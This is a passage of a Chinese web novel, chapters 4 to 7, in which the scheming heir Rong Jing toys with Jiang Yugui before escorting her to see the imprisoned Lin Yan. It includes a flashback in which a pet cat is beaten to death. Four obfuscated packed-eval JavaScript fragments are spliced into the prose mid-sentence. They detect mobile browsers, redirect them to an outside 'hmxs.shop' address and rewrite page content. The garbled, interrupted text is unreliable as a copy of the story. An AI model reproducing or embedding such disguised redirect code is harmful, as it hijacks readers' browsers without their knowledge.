容璟紧盯着她,不放过她脸上的一丝变化。他很好奇,这个看似沉静,实则心怀鬼胎的女子,究竟会怎么选呢? 是继续伪装深情?还是迫不及待的拿钱走人,从此和林晏划清界限? 容璟好整以暇的等待着,他已经在心中勾勒出姜于归拿起桌上那个锦盒的时候,脸上会浮现的如释重负的模样,他甚至都想好后续,如何体面的送她离开上京。 这也算是完成林晏的嘱托。 嗯——他可真是个善良的好人啊。 然而,姜于归的目光只是短暂的在那锦盒上停留一瞬,很快就移开了视线。 姜于归自问自己并不高尚,甚至还有点儿肤浅。 钱这个东西姜于归当然爱,更别说一下子就得了这么多钱。 可是有些钱可以拿,有些钱拿了,她会良心不安。 姜于归的脸色依旧苍白,但那双刚刚还一片空茫的眸子,此刻却像是被水洗过一般,清晰而坚定地看向容璟。 她没有看那盒钱财一眼,目光直直地落在容璟脸上。 姜于归的声音因之前的情绪波动而有些沙哑,却异常清晰。 “容世子,您是不是觉得,我此刻应该拿着这盒金子,感恩戴德,然后立刻消失?” 姜于归的声音不大,但是异常清晰坚定。 “但是这钱,我不能要!” 容璟闻言,眉梢几不可查地一动。 他预想了姜于归的许多反应。 哭泣,哀求,或是欣喜若狂。 却唯独没有料到,姜于归会是如此平静又直接的回答。 这份超出预期的镇定,像一颗小石子投入他波澜不惊的心湖,激起了细微的,陌生的涟漪。 姜于归竟然......不要? 这与他所熟知的人性脚本,完全背离。 容璟暗自沉思一番,随后再次开口。 “姜姑娘不必推辞,这事儿林晏知道了也不会怪你,毕竟你千里迢迢前来盛京,想必吃了不少苦,你安全了,林晏才能安心。” 容璟又重复了一遍,可是姜于归还是摇摇头。 容璟的耐心终于有些被消磨,他的声音也略微有了几分冷意。 “姑娘是嫌弃少了?” “不!”见容璟误会,姜于归连忙解释:“我只是想......” 见姜于归想提要求,容璟心中顿时再次了然,暗道一句果然如此。 容璟审视着姜于归,试图从她清澈的眼底找出一丝伪装的痕迹,一丝属于贪婪的闪烁。 然而,没有。 那里只有一种近乎执拗的坦诚,以及深不见底的担忧。 而容璟心底那份因麻烦而起的烦躁,也悄然淡去,取而代之的是一种更复杂的,连他自己都未曾察觉的......好奇。 容璟身体微微后靠,指尖在扶手上轻轻一点,唇边依旧是那抹无懈可击的温润浅笑,语气却带上了一丝真正的探究:“那么......姜姑娘想要什么呢?” 容璟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868597|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然很想听听,这个拒绝了他眼中最优解的女子,会给出一个怎样的答案。 姜于归迎着容璟的目光,没有丝毫闪躲。 她认真地思索了片刻,仿佛下定了某种决心,语气郑重地开口。 “我想见见他。” 姜于归顿了顿,清晰地吐出那个名字。 “我想见林宴。” 我想见林宴。 这个答案,如此简单,纯粹,不涉金银,不涉权势。 容璟端着茶盏的手,在空中微微停滞了一瞬。 不见棺材不掉泪?还是以为见了面,就能让林晏许她更多? 真是......固执的赌徒。 不肯拿钱走人,是因为她押的注远远不止这点金钱。 她定然是在赌慕容林晏能成功脱险,而她便是这番不离不弃,患难与共。 这份情谊足够撼动一切。 容璟几乎就在瞬间,推算出了姜于归心中的全部算计。 若是林晏的案子能翻案,平安出狱,自然就是户部侍郎了。 林晏心中本就在意她,届时感念她的雪中送炭之情,定然对她更加珍视。 即便慕容老太爷和慕容老夫人嫌弃姜于归出身低微,坚决反对林晏娶她,但凭借姜于归的心机和手段,稍微向外界透露一点儿,慕容家忘恩负义,嫌弃患难红颜的消息,届时先不说林晏的政敌会帮着姜于归攻击林晏,那些御史的弹劾的折子都能满天飞。 最注重名声的清流世家,如何能承受这样的指责,迫于舆论,最后只怕也不得不捏着鼻子认下她。 不过容璟觉得,就算姜于归枉费心机,也不可能嫁给林晏做正妻,最多得个贵妾的名头,不过对于出生寒苦的姜于归,这个身份已经是她能够得到的最好的归宿了。 但是有这样的名声,将来林晏的妻子怎么能忍,那后院的勾心斗角,可一点儿都不逊色朝堂。 所为富贵,也不过是金表其外,败絮其中! 呵!以退为进,挟恩图报,这才是姜于归的真正的算计。 容璟沉吟片刻,目光落在姜于归因紧张而微微蜷起的手指上,再次开口,声音依旧温和,却带着一种无形的压力。 “姜姑娘,你的心情我能够理解,只是林晏现在是朝廷要犯,关押在刑部大狱,那里戒备森严,莫说是你,即便是我,想要见他一面也需要多方打点,困难重重。你想去见他,更是有极大的风险。所以此事,真的很难办啊......” 容璟陈述着一个事实,目光却未曾从姜于归的脸上移开,像是在观察她听闻此言的每一丝细微反应。 是知难而退?还是继续表演? 姜于归眼中果然闪过一丝慌乱,但是很快取而代之的就是坚定。 她想见一见林晏。 于是姜于归起身,对着容璟福了福身,放低了姿态:“世子,请你想想办法,我只是想亲眼确认林晏是否安好,绝对不会给您添乱,拜托了!” 姜于归说的认真诚恳,但是这样的情真意切落在容璟眼里,他只觉得心底的冷意更甚。 而容璟在此经过一段沉默,仿佛在进行激烈的思想斗争,在姜于归焦急的等待中,最后好像终于被她打动,叹着气,极为勉强的开口道:“罢了,看在林晏是我多年好友的份儿上,我且试试吧。不过心急吃不了热豆腐,你需要耐心等待!” 得到容璟的承诺,姜于归顿时喜笑颜开,连声对着容璟道谢。 “多谢世子!” 5. 第 5 章 书房的门在姜于归身后轻轻合上,将那一点微弱的希望也关在了里面。 容璟脸上那副温和的,仿佛被她深情打动的表情,如同退潮般缓缓消散,只剩下深潭般的平静。 他起身,走到窗边,看着那道纤细的身影穿过庭院,消失在月洞门外。 一股莫名的烦躁,如同细微的蛛网,缠绕上容璟的心间。 为什么?为什么那个叫姜于归的女子,会和林宴之间,存在那种他无法理解的联系? 他们不过相识短短数月而已...... 容璟的思绪不受控制地飘远,飘回了许多年前,那个同样让他感到冰冷和困惑的童年。 他仿佛又变成了那个小小的容璟,穿着华贵却冰冷的锦袍,站在空旷得能听见自己脚步声的花厅里。 他的父亲,荣国公,与母亲安宁郡主端坐在高高的主位上,面容在逆光中显得模糊而威严,眼神落在他身上,不像是在看自己的骨肉,更像是在审视一件工具,一件关乎家族荣辱,不容有失的器物。 “璟儿。” 父亲的声音没有一丝波澜,每一个字都像冰锥,凿刻在容璟的记忆里。 “你作为荣国公府唯一的继承人,你的喜怒哀乐,一言一行,都代表着家族的颜面。那些没有用的,多余的情感,尽早舍弃。它们只会成为你的弱点,授人以柄。” 那时,容璟因为偷偷喂养了一只闯入后院的小狸猫,被父亲发现了。 那是一只很普通的橘猫,瘦小,却有着一身柔软的皮毛和一双澄澈的琥珀色眼睛。它会在容璟独自一人,感到那几乎要将他吞噬的孤独时,悄悄从窗台跳进来,轻轻蹭他冰凉的手背,发出咕噜咕噜的声音。 那是他灰暗童年里,为数不多的,带着体温的慰藉。 母亲听闻了父亲的斥责,没有维护,甚至连一个怜悯的眼神都未曾给予。她用同样冰冷的,带着一种居高临下失望的语气开口:“那只畜生,我会命人处置。你身为世子,竟如此玩物丧志,真是令我失望!” 然后,容璟亲眼看着那个曾带给他唯一温暖的生灵,被粗壮的仆役用麻袋套住。 他想冲上去,想哭喊,想求饶,可父母那两道冰冷的视线像枷锁,将他死死钉在原地。 仆役当着他的面,面无表情地高举起了沉重的木棍。 一下! 麻袋里传来一声尖锐凄厉的惨叫,那声音刺穿了他的耳膜。 又一下! 那叫声变成了微弱无助的呜咽,伴随着骨骼碎裂的,令人牙酸的闷响。 最后一下! 世界彻底安静了,只有木棍砸在软肉上的,沉闷的噗嗤声。 小小的容璟浑身僵硬,眼泪不受控制地汹涌而出,他却死死咬住了自己的嘴唇,不敢发出一丝声音。浓重的血腥味混杂着尘土的气息,弥漫在空气里。 但他得到的只是父亲更加冷厉的斥责:“如此懦弱,不堪大用!将来如何执掌门庭,震慑下人?” 还有母亲那彻底冰封的,失望至极的叹息:“看来平日对你的教导,都白费了!带去祠堂,没有我的命令,不许出来。” 惩罚接踵而至。 他跪在阴冷刺骨的祠堂里,对着列祖列宗的牌位抄写厚厚的家规;被关进没有一丝光线的漆黑屋子,在绝对的寂静与黑暗中,反思自己的过错。 从那以后,容璟便彻底明白了。 情感是致命的弱点,真心是可笑的累赘,一旦暴露,就会受制于人,就会被打上无能,懦弱的烙印,就会失去一切。 任何能牵动情绪的东西,无论是人,还是物,都必须彻底摧毁。 所以,必须隐藏起来,藏得深深的,用最完美的面具覆盖,谁也不能看见。 那些冰冷的语言,成了容璟的人生信条,在他的心灵上烙下了永久的,扭曲的印记。 他学会了用利益衡量一切,用算计取代真心。 他观察,模仿那些被世人称颂的君子,比如慕容林宴,然后他将自己也打造成一个光风霁月的存在。 这让他获得了赞誉,也获得了便利,更获得了正常的伪装。 容璟从冰冷的回忆中抽离,指尖无意识地划过冰凉的窗棂,目光再次看向姜于归消失的方向。 所以,他绝不相信! 不相信姜于归和林宴之间,那短短数月时间,能孕育出什么跨越生死的信任。 那太荒谬,太不符合他认知世界的法则。 “长青。”容璟声音平静地唤道。 护卫长青如同影子般悄无声息地出现:“世子。” “去查一下,姜于归在清溪镇的所有底细,事无巨细。还有,她与林宴相识的每一个细节,我要知道。” 说罢他顿了顿,继续补充道:“另外,查查她入京后,除了慕容府和这里,还接触过什么人。” “是。”长青领命,悄然退下。 容璟的视线一直投向姜于归离开的方向,眼底是一片化不开的浓墨。 他倒要看看,这看似无懈可击的深情背后,究竟藏着怎样的秘密和价码。 接下来的几日,姜于归被安置在国公府一处安静雅致的客院里。 容璟确实兑现了他试试的承诺,府中下人对她恭敬有加,饮食起居无一不精,仿佛她真的是府中贵客。 可是去见林宴这件事,却如同石沉大海,再无音讯。 第一天,姜于归告诉自己,容世子身份贵重,事务繁忙,且此事确实难办,需要时间打点,她不能心急。 第二天,她坐在窗前,看着庭中落雪,脑海里全是林宴的身影。 他过得好吗?受伤了吗?会不会......已经被用刑了? 巨大的恐惧啃噬着她的心,但她依旧强忍着,没有去询问。 第三天,第四天...... 时间在焦虑的等待中被无限拉长,每一刻都像是煎熬,她开始食不知味,夜不能寐,原本就清瘦的脸颊,更添了几分憔悴。 姜于归知道自己有求于人,应该表现出十足的耐心和信任。 可对林宴的担忧,像一把火在她心里灼烧,让她坐立难安。 终于在第五日午后,她再也等不下去了。 姜于归向院中的丫鬟打听清楚小厨房的位置,亲自过去,挽起袖子,用心做了几样点心。 她做得极其认真,仿佛将所有的期盼和不安,都揉进了那小小的面团里。 提着还带着温热的食盒,姜于归再次站在了容璟的书房外,却被告知容璟有事。 姜于归的心沉了一下,不知这是托词还是事实。但即便真是借口,她又能如何? 她只能将食盒转交给长青,请他帮忙转交,并低声说了句:“一点心意,多谢世子这些时日的照拂。” 长青看着食盒,神色有几分古怪,还是接了过去。 书房内,容璟正在翻阅关于林晏案子的卷宗,长青将食盒放在书案一角,低声道:“世子,姜姑娘送了亲手做的点心,说是感谢您的照拂。” 容璟的视线从卷宗上移开,落到那朴素的食盒上,他并未立刻去动,只是唇角牵起一抹极淡的,了然的弧度。 终于按捺不住了?容璟心下冷嗤。 几日锦衣玉食的款待,足以让任何见识过富贵的人心思活络。 慕容林宴身陷囹圄,前途渺茫,而姜于归一个孤女,想要在这吃人的盛京立足,寻找新的倚靠是再聪明不过的选择。 这盘点心,便是她拙劣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868598|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的投石问路。 容璟漫不经心地打开食盒,里面的糕点造型用了府中常见的模具,但飘出的香气却带着一种陌生的,清甜不腻的江南风味。 他随手拿起一块,轻轻掰下一角放入口中。 味道......竟出乎意料的不错,甜度恰到好处,带着食材本身的清香。 倒是费了些心思。 容璟想起林宴曾无意中提过,这位姜姑娘于厨艺一道颇有天赋。看来,为了攀附,她将自己所长也算计了进去。 既然她已出招,他岂有不接之理? 容璟倒要看看,姜于归接下来会如何不经意的,展露她的诚意与价值。 “让她进来吧。” 容璟放下糕点,用丝帕慢条斯理地擦了擦手,语气平淡无波。 长青领命而去。 姜于归再次踏入书房,心跳如擂鼓,她的目光飞快地扫过书案,见点心被动过,心底悄然升起一丝微弱的希望。 她努力让自己的声音听起来平静自然:“世子,这点心可还合口味?” 容璟抬眸,看着她那双因紧张而格外明亮的眼睛,里面清晰地映照着他的身影,却不知那眼底深处,是否藏着对另一个男人的算计。 容璟唇边含着恰到好处的浅笑,语气温和:“姜姑娘有心了,味道甚好,甜而不腻,很是特别。” 得到肯定,姜于归紧绷的神经稍稍放松,脸上露出一丝浅浅的,真实的笑意:“上次在马车上,尝了世子的糕点,想着世子应该不喜过甜,所以特意调整了糖量,世子能喜欢就好。” 容璟挑眉,观察得倒细致,连他饮食上微不足道的偏好都留意到了,这份用心,若是用在林宴身上,倒也说得通。 可用在他身上,其目的便昭然若揭。 容璟微微颔首,依旧维持着风度:“姜姑娘费心了,我很喜欢。” 两人之间陷入短暂的沉默,容璟好整以暇地等待着,等待着姜于归如何将话题从点心,自然地过渡到她自己,或是......喜好上。 然而,姜于归的指尖悄悄绞紧了衣角,那双墨黑的眼眸在经历短暂的挣扎后,最终还是带着孤注一掷的期盼,直直地望向他,切入了她唯一关心的正题。 “请问世子......去见林宴的事情,可有消息了?” 话音落下的瞬间,书房内仿佛空气凝结。 窗外,树枝不堪积雪重负,发出“咔嚓——”一声脆响。 容璟脸上那完美无缺的,温和的浅笑,如同冰面骤然遇袭,出现了一丝极其细微,却真实存在的裂痕。 她竟然——还是为了林宴? 这个认知像一道毫无预兆的冷箭,猝不及防地刺穿了容璟之前所有的预判。 他预想中关于攀附暗示的剧本,在姜于归这句直白得近乎愚蠢的追问下,瞬间显得可笑而多余。 一股极其细微,却无比清晰的愠怒,混合着一种被彻底忽视的,冰凉的异样感,悄然漫上心头。 姜于归这几日的安分,今日精心制作的糕点,所有小心翼翼的姿态,最终的目的,竟然依旧牢牢系在那个身陷牢狱的男人身上? 好,好得很! 原来不是攀附,而是将他容潜玉,当成了她通往慕容林宴的踏脚石?利用他的权势,达成她患难与共的目的? 这份深情,可真是算计得够远,也够胆大包天! 容璟再次凝视着姜于归,凝视着她那双盛满对另一个男人担忧的眼眸。 第一次觉得,这眼神不再是值得玩味的戏码,而是无比的碍眼。 容璟依旧坐在那里,姿态未变,但整个书房的气氛,已随着他眼底沉淀下去的幽暗与周身散发出的无形冷意,骤然变得凝滞而压迫。 6. 第 6 章 书房里陷入死一样的沉寂,空气仿佛都凝结成了冰。 容璟周身散发出的那股生人勿进的冰冷气场,把姜于归吓了一大跳,她下意识地后退了半步,连呼吸都放轻了。 自己......是不是说错什么了?为何世子的情绪变化如此之快,如此......骇人? 这令人窒息的沉默只持续了短短一瞬。 容璟看着姜于归眼中那纯粹的期盼被紧张与无措取代,理智迅速回笼。他心底嗤笑一声,自己竟会因为一个乡野女子的言行而瞬间破功,实在是——有失身份,可笑至极! 他容潜玉,何须在意一个蝼蚁的目光是否落在自己身上? 然而,这个念头刚起,就像一记无声的耳光,狠狠地抽在了他的脸上,火辣辣的,带着一种前所未有的屈辱感。 想他荣国公府世子,身份尊贵,权势滔天,走到哪里不是众星捧月,何曾被人如此彻底地忽视过? 如今,他眼中的这个爱慕虚荣的乡野村妇,这个他随手就能捏死的存在,居然敢对他视而不见? 她的眼里,心里,竟然只有那个身在牢狱的慕容林晏! 一股无名邪火,夹杂着一种连他自己都未曾体验过的,强烈的烦躁,猛地窜起,烧得他五脏六腑都灼痛起来,浑身不自在。 不行!他必须立刻结束这种失控的局面。 主导权必须牢牢掌握在他手里。 容璟垂下眼眸,极其克制地深吸了一口气,将那几乎要冲破完美面具的冰冷怒意,硬生生地压回眼底最深处的寒潭。 当他再次抬眼看向姜于归时,脸上已然重新挂起了那副无可挑剔的,温和近人的神色。 只是,那温和之下,仿佛淬了剧毒的冰棱,看似晶莹,触之即伤。 容璟轻轻吐出两个字,声音恢复了之前的清润,却带着一丝不易察觉的疲惫与妥协。 “罢了,既然姜姑娘执意如此,那我便成全你。” 姜于归的心猛地提了起来。 “三日后的辰时,我带你去见他。” 巨大的喜悦如同潮水般瞬间淹没了姜于归,她几乎要雀跃起来,又猛地意识到场合不对,强行将到了嘴边的欢呼压了下去。 她只能用那双瞬间被点亮了的眸子,感激不尽地望着容璟,声音因激动而带着微颤:“多谢世子!多谢世子!” 看着姜于归因为这简单的允诺就如此欣喜若狂,容璟心底那刚被压下的邪火又隐隐有复燃的趋势。 “不过——”他骤然开口,拖长了语调。 姜于归脸上的笑容一僵,心又提了起来,紧张地望着他。 容璟欣赏着她脸上因自己话语而起伏的情绪,那种掌控感稍微抚平了一些他心中的躁郁。他缓缓道,语气依旧温和,却带着不容置疑的力量:“我可以带你去狱中见林宴,但是,你需要答应我一个条件。” 条件? 姜于归愣住了,微微蹙起秀眉。 容璟和林晏......不是至交好友吗?朋友之间,在对方身陷囹圄之时伸出援手,虽非理所应当,但......提出条件?尤其是在这等生死关头的时候? 一种说不清道不明的异样感在姜于归的心中蔓延开来。 她看着容璟那张俊逸非凡,此刻却显得高深莫测的脸,第一次清晰地感觉到,这位光风霁月的世子爷,他的内里,似乎和她之前想象的......不太一样。 姜于归几乎是下意识地问出了口,带着一丝天真的困惑:“为......为什么?你们不是......好朋友吗?” 好朋友? 容璟险些失笑出声。 在他听来,这三个字从姜于归嘴里问出,简直是这世上最荒谬的笑话。 朋友?那不过是他用来向世人证明自己是个正常人的装饰品,是他维持君子人设的参照物,是他漫长而无聊的生命中,一个用得还算顺手的工具罢了。 至于为什么? 因为看着你姜于归如此全心全意,不顾一切地对林宴好,而林宴身陷牢狱还能拥有这样一份炽热的牵挂,这让本世子觉得十分,非常,极其不痛快! 既然不痛快,那顺理成章的,他就要给他们之间设置障碍,不能让他们如此轻易地如愿以偿。 更何况,方才她那盘点心所带来的误判,以及她最终的目的,都让容璟感到了一种被冒犯的不悦。 他需要狠狠地敲打姜于归,让她明白,在这里,谁才是能决定她能否达成愿望的主宰。 容璟轻轻叹了口气,眼神里带着一种仿佛在看不懂事孩童的无奈:“姜姑娘,盛京不是清溪镇,刑部大牢更不是市集茶楼。想要带一个无关人员进去,其中的风险,以及我需要动用的关系、打点的环节,远超你的想象。” 他顿了顿,目光深邃地看着她,语气轻描淡写,却字字千斤:“所以,为了此行的顺利,也为了你我的安全,自然需要一些——保障。” 他将保障二字说得意味深长,却没有具体解释是何风险,需要何种保障。只是用那双仿佛能洞悉一切的眼眸,静静地等待着她的回应。 姜于归的心沉了下去。 她听得出来,这不是商量,而是通知。 似乎是看出了姜于归的犹豫与恐惧,容璟唇角勾起一抹安抚般的笑意,补充道:“放心,我不会让姜姑娘涉险,更不会让你去杀人放火,作奸犯科。但凡违背大靖律法,有损姑娘清誉之事,都不会。如此,姜姑娘可放心了?” 他似乎堵住了她所有可能的退路。 姜于归咬着下唇,指甲深深陷进了掌心。 去见林宴一面的渴望,与对这个未知条件的恐惧在她心中激烈交战。 她还有的选择吗?拒绝,意味着刚刚看到的希望之门将在她眼前轰然关闭。 姜于归没有选择。 她抬起头,眼神里带着破釜沉舟的坚韧:“好!我答应你。” 看着姜于归为了林宴,如此干脆地应下一个未知的,可能充满危险的条件,容璟心底那股无名的邪火非但没有熄灭,反而噌的一下烧得更旺了。那火焰灼烧着他的理智,让他几乎维持不住脸上的温和。 他几乎是咬着牙根,挤出一个笑容:“好!三日后,我来安排。” 容璟盯着姜于归,语气骤然变得严厉,接着是一连串带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868599|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警告的补充。 “你且记住!届时你只能扮作我的随行小厮,低头!不可抬头乱看!噤声!不许胡言乱语!狱中情况复杂,若出了一丝差错,不仅你自身难保,就连我和整个国公府,都会受到牵连!听明白了吗?” 这突如其来的严厉态度,与他平日温润的模样判若两人,吓得姜于归心脏一缩。 她连忙紧张地攥紧了衣角,连连点头:“我记住了,多谢世子,我绝对不会给世子添乱的!” 看着姜于归这副因自己的威势而显得怯懦又顺从的样子,容璟心头的烦躁感却没有丝毫减轻,反而因为她依旧难掩的,对即将见到林宴的欣喜,而更加淤堵。 他厌烦地挥了挥手,如同驱赶一只恼人的飞虫:“下去准备吧。” 姜于归如蒙大赦,再次道谢,几乎是踮着脚尖,小心翼翼地退出了书房。 直到房门在身后合上,隔绝了那道令人心悸的视线,姜于归才长长地舒了一口气。 紧接着,那被压抑的狂喜再也控制不住,她几乎是蹦跳着离开了书房的范围,直到遇上过往的丫鬟,她才赶紧收敛神色,故作沉稳地前行,待丫鬟走远,又忍不住捂着嘴,肩膀因无声的欢笑而轻轻耸动。 她终于快要见到林晏了! 然而,姜于归这毫不掩饰的,充满生机的雀跃,一丝不落地落入了窗外容璟的眼中。 他站在窗前,稍稍卸下了伪装的脸上,眼神冰冷刺骨。 他看着那道欢快得几乎要飞扬起来的身影,只觉得这一幕,万分碍眼。 接下来的三日,容璟的心情肉眼可见地不佳,书房内的低气压,连长青都需格外谨慎。 第三日,寅时刚过,天还未亮,长青前来回禀。 “世子,姜姑娘院中已有动静,她寅时便起身在小厨房忙碌,似乎在准备食盒。属下见她还在食盒底部垫了小小的炭炉暖着,应是怕食物冷掉。” 容璟执笔的手微微一顿,墨迹在宣纸上洇开一小团污渍。 他面无表情地放下笔,将写坏的纸揉成一团,扔进纸篓。 心底那股熟悉的,冰刺般的不适感,又开始细细密密地蔓延开来。 为了见林宴,她倒是尽心竭力! 容璟什么也没说,只淡淡嗯了一声。 辰时,一切准备就绪。 姜于归穿着一身略显宽大的灰布小厮衣裳,低着头,手里紧紧抱着那个被她用心暖着的食盒,忐忑又期待地跟在容璟身后,登上了前往刑部大牢的马车。 马车在寂静的清晨街道上行驶,最终停在一处森严肃穆的建筑群前。 高墙,铁门,持刀的守卫,无一不散发着令人窒息的压迫感。 容璟率先下车,姜于归赶紧抱着食盒跟上,心跳如擂鼓。 就在他们即将踏入那扇漆黑大门时,容璟却忽然停下脚步,侧过头,目光仿佛不经意地扫过她紧紧抱在怀里的食盒。 容璟的声音平静无波,却像一盆冰水,对着姜于归当头浇下。 他像是才想起什么,语气轻描淡写:“哦——对了,忘了告诉你,这里是诏狱,不是普通监牢,外带食水,一律不得入内。” 7. 第 7 章 姜于归恪守本分,下了马车就深深地低着头,将自己缩成一个不起眼的小厮。 然而,容璟那句轻飘飘的话,却像一根针,猝不及防地刺破了她所有的期待。 她猛的抬起头,脸上原本因即将见到林宴而染上的浅浅红晕与光彩,瞬间褪得干干净净,只剩下一种近乎透明的苍白与难过。 她下意识地将怀里的食盒往回收了收,仿佛那是她最后一点可怜的倚仗,眼中漾起水光,带着几分卑微的恳求:“世子,这......这都只是一些普通的吃食,若是看守的狱卒不放心,我可以......可以亲自试吃。而且我做了很久,一直用炭火温着......” 姜于归的声音越来越小,带着不易察觉的哽咽。 “规矩。” 容璟的语气依旧平淡无波,仿佛只是在陈述一个天经地义的事实,然而这两个字却带着不容置疑的决断,斩断了她所有侥幸的念想。 “刑部重地,尤其是关押要犯之处,外间物品一律不得带入。谁知道里面会不会有夹带,或者......有人要杀人灭口。” 最后四个字,他说得轻缓,却像重锤般敲在姜于归心上。 她心中的难过顿时被一股寒意驱散了几分。 是啊......有道理。 若是她的东西都能轻易带进去,那其他想害林宴的人呢?那些隐藏在暗处的敌人,岂不是更能利用这一点?她只顾着自己的心意,却差点成了帮凶! 是她思虑不周,险些酿成大错。 容璟饶有兴致地观察着姜于归脸上的变化,从殷切的期盼到听闻噩耗的震惊,再到浓浓的失望与无助,最后迅速转变为一种带着后怕的坚定与认同。 这情绪的转换如此之快,如此......理所当然,反倒让容璟感到一丝讶异。 他还没来得及好好欣赏姜于归希望破碎时的痛苦表情,还没来得及品味她心血被无情剥夺时可能产生的怨怼,她竟然就这么......接受了?甚至还反过来认同了他的决定? 一股难以言喻的烦躁取代了原本预期的扭曲快感,他如此轻易地主宰着她的情绪,可她却不按他预设的剧本演出,这让他有一种一拳打在棉花上的无力感。 “长青。”容璟不再看她,淡淡吩咐。 长青上前,面无表情地伸出手,姜于归看着那个被她小心翼翼呵护了一路的食盒,心底像是被什么东西挖走了一块,空落落的疼。 但她还是咬着唇,默默地递了过去。 罢了,能见林宴一面,已是万幸。 看着长青前去与守门的狱卒交涉,容璟率先抬步踏入那扇仿佛能吞噬光线的漆黑大门,姜于归赶紧收敛心神,低着头,小步跟上。 即便是白日,牢狱内的光线也异常昏暗,弥漫着一股潮湿,腐朽和绝望的气息。沿着漫长而狭窄的石阶往下,空气愈发浑浊刺鼻,耳边不时传来囚犯嘶哑的哀嚎与狱卒凌厉的斥骂,交织成一曲地狱的协奏。 姜于归的心止不住地颤抖,每向下走一步,对林宴的担忧就加深一分。 他那样清风朗月的人,如何能待在这种地方? 终于,容璟在一间牢房前停下脚步,姜于归第一眼望去,有些发愣。 牢房阴暗,只有高处一个小窗投下微弱的光柱,尘埃在光中飞舞,一个穿着肮脏囚服的身影靠坐在冰冷的石壁下,低着头,看不清面容。 似是察觉到有人,那人缓缓抬起头。 隔着冰冷的栅栏,四目相对。 姜于归只觉得呼吸一滞,心脏像是被一只无形的手狠狠攥住。 那是林宴,却又不是她记忆中的林宴,他瘦了很多,脸颊凹陷,唇色苍白,眼底带着疲惫的红血丝,曾经挺拔的身姿也被这身囚服衬得单薄,唯有那双眼睛,在看到她时,先是难以置信地怔住,随即,那深处仿佛有星光骤然亮起,依旧温和,依旧清澈。 眼泪瞬间决堤,汹涌而出。姜于归想喊他的名字,想扑过去,但残存的理智死死地拽着她。 她记得容璟的警告,记得这里的危险,她不能给他添乱。 姜于归只能死死地咬着下唇,任由泪水无声地滑落,肩膀因极力的压抑而剧烈颤抖。 容璟冷眼旁观,看着姜于归那副肝肠寸断却不敢出声的模样,又扫了一眼牢内明显激动起来的林宴,心中那股无名火又隐隐窜动。 他对着旁边使了个眼色,随行的狱卒会意,转身离开。 直到甬道里只剩下他们三人,容璟才用极低的声音,不带感情地说道:“只有一盏茶的时间,你们说说话吧。” 姜于归猛地看向准备转身走向角落的容璟,红透的双眼里充满了难以置信的感激,她朝着他的方向,用气音飞快地道谢:“多谢世子!” 容璟脚步未停,径直走向不远处的转角阴影里,如同融入黑暗的幽灵,屏息凝神。 牢房内外,终于只剩下他们二人。 姜于归再也忍不住,蹲下身,双手紧紧攀着冰冷的栅栏,仿佛那样就能离他近一些,再近一些。 她哽咽着,低低唤出那个在心底盘旋了千百遍的名字:“林宴!” 靠在石壁上的林宴,其实早在脚步声靠近时便已察觉,但他只是以为又是哪位被牵连的同僚,并未在意。 直到那脚步声带着熟悉的迟疑停在他的牢门前,直到那个他以为此生再难听见的声音,带着哭腔响起...... 他缓缓睁开眼,借着微弱的光,看清了栅栏外那个穿着极不合身的小厮衣服,纤细得仿佛风一吹就会倒的身影。 清溪镇到盛京,千里之遥,她一个孤身女子...... 林晏只觉得喉头一哽,心中又酸又涨,像是被什么东西满满地填塞着,几乎要溢出来。 “于......于归?” 林晏的声音沙哑得厉害,带着久未开口的干涩,下一刻,他猛地起身,踉跄着扑到栅栏前,铁链碰撞发出哗啦的脆响。 两双手隔着栅栏的缝隙,紧紧地握在了一起。冰冷与温热交织,绝望与希望碰撞。 “你真的来了......” 林晏看着她,眼中满是震撼与心疼。 他曾经对容璟信誓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868600|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旦旦,说姜于归一定会来,那其中,有基于了解的自信,但何尝不是在绝境中为自己点燃的,一缕微弱的希望之火?当这希望真的照进现实,带来的冲击是如此巨大,让他几乎不敢置信。 “你瘦了好多。”姜于归抚着他冰凉的手背,泪珠滚落。 